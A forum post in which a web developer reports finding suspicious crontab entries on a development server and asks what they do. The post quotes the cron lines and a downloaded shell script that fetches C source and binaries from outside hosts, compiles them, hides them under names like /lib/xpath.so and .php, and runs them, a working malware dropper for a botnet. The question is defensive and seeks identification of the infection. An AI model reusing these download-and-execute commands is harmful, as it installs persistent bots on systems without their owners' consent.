Is SecureShellz bot a virus? How does it work?
- by ProGNOMmers
I'm using a development server in which I found this in the crontab:
[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]
http://stablehost.us/bots/regular.bot contents are:
#!/bin/sh
if [ $(whoami) = "root" ]; then
echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make
pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc
wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2
exit 1
fi
wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_
I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him.
It seems to me this script downloads some remote C source codes and binaries, compile them and execute them.
I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server.
Can you give me more infos about what this code does? About its working, its purposes?
